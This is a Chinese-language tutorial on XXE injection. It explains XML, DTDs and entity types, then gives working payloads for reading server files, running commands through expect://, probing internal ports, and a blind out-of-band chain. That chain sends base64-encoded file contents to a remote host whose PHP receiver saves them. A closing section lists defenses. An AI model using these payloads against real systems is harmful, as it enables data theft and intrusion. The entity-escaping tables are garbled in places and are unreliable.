目录
漏洞原理
漏洞危害
前置知识
XML简介
DTD简介
DTD的两种声明方式
实体
实体分类
内置实体(Built-inentities)
字符实体(Characterentities)
通用实体(Generalentities)
参数实体(Parameterentities)
XXE漏洞出现场景
XXE漏洞利用
任意文件读取
系统命令执行
探测内网端口
无回显XXE漏洞利用
XXE防御措施
漏洞原理
XXE Injection( XML External Entity Injection, XML 外部实体注入攻击) 攻击者可以通过 XML 的外部实体来获取服务器中本应被保护的数据。 对于 XXE 漏洞最为关键的部分是 DTD 文档类型, DTD 的作用是定义 XML 文档的合法构建模块。 DTD 可以在 XML 文档内声明, 也可以外部引用, libxml2.9.1 及以后, 默认不再解析外部实体。
漏洞危害
当允许引用外部实体时, 通过恶意构造, 可以导致以下常见的危害:
-
任意文件读取
-
执行系统命令
-
探测内网端口
前置知识
XML简介
XML 指可扩展标记语言,XML 被设计用来传输和存储数据,你可以理解为就是⼀种写法类似于html语⾔的数据格式⽂档。但是xml跟html是为不同⽬的⽽设计的,html旨在显⽰数据信息,⽽xml旨在传输数据信息。
DTD简介
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
DTD的两种声明方式
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
1.内部DTD:对XML文档中的元素、属性和实体的DTD的声明都在XML文档中。
2.外部DTD:对XML文档中的元素、属性和实体的DTD的声明都在一个独立的DTD文件(.dtd)中。
注释:这里只介绍外部DTD。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ELEMENT root ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<root>&xxe;</root>
!ELEMENT root ANY 定义元素为ANY,既可以接受任何元素;
!ENTITY xxe SYSTEM "file:///c:/test.dtd" 定义了一个外部实体,文档会对c:/test.dtd文件资源进行引用,这是一种用SYSTEM关键字的引用方式。
实体
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
-
实体引用是对实体的引用。
-
实体可在内部或外部进行声明。
实体分类
内置实体(Built-inentities)
实体 | 实体引用 | 含义 |
quot | " | 双引号 |
amp | & | (“and”符) |
apos | ' | (撇号或单引号) |
lt | < | 小于号 |
gt | > | 大于号 |
字符实体(Characterentities)
实体名称 | 符号 | 十进制参考 | 十六进制参考 |
quot | " | "; | "; |
amp | & | &; | &; |
apos | ' | '; | '; |
lt | < |
<;
| <; |
gt | > | >; | >; |
其中内置实体和字符实体都和html的实体编码类似,有十进制和十六进制,一个实体由三部分构成:一个和号(&),一个实体名称,以及一个分号(;)。
通用实体(Generalentities)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>
参数实体(Parameterentities)
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%remote-dtd;
remote.dtd:
<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright runoob.com">
XXE漏洞出现场景
-
XXE漏洞主要是关注测试的目标系统,是否存在请求传输XML数据格式的API,如果遇到有XML数据格式传输的请求,就可进一步操作看是否存在XXE漏洞。
-
可上传excel文件的上传点、图片上传点
XXE漏洞利用
有回显XXE和无回显XXE
任意文件读取
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>
系统命令执行
注意:在安装 expect 扩展的 PHP 环境里执行系统命令;
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://ipconfig" >]>
<foo>&xxe;</foo>
windows用ipconfig,linux用ifconfig
探测内网端口
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://192.168.1.6:22" >]>
<foo>&xxe;</foo>
可以在ip后面的端口爆破,爆破出开放的端口。
无回显XXE漏洞利用
<?xmlversion="1.0"encoding="utf-8"?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY %file SYSTEM "php://filter/read=convert.base64-
encode/resource=/c:/windows/win.ini">
<!ENTITY %remote SYSTEM "http://192.168.220.132/entities.dtd">
%remote;
%all;
%send;
]>
entities.dtd 中代码如下:
<!ENTITY %all
"<!ENTITY % send SYSTEM 'http://192.168.64.130/test.php?file=%file;'>">
注:把“%”转成html实体编码是因为在实体的值中不能有%,所以需要转换成:%
test.php中的代码如下:
<?php
$file="./test.txt";
$content=base64_decode($_GET['file']);file_put_contents($file,$content);
echo"\n";
?>
XXE防御措施
字符 | 转义 |
" | "; |
& | &; |
' | &apos; |
< | <; |
> | >; |
2.过滤用户提交的 XML 数据, 关键词: , SYSTEM 和 PUBLIC;
3.禁用外部实体: libxml_disable_entity_loader(true);